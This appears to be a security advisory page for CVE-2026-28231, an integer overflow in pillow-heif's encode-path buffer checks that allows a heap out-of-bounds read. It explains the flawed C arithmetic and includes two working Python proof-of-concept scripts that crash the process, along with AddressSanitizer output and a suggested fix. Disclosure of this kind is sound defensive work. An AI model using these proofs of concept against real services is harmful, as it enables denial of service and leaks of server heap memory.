medium

CVE-2026-28231

PyPI · pi-heif

Summary

pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

Severity
medium
EPSS
0.7% (p53)
CWE
CWE-125
Also known as
GHSA-5gjj-6r7v-ph3x#pi-heif
Published
2026-07-20
Updated
2026-07-20

Advisory details

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

Affected functions (all in _pillow_heif.c):

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024)  # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
    print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
    print(f"[*] MemoryError (libheif caught it later): {e}")
    print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), small_buffer, buf,
                       quality=-1, stride=stride_val)
    print("[!] encode() succeeded — bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes with exit code 139 (SIGSEGV).

ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
    #0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
    ...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
    ...

SUMMARY: AddressSanitizer: negative-size-param
  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc

The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

Impact

Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:

Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:

// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {

Prior art:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.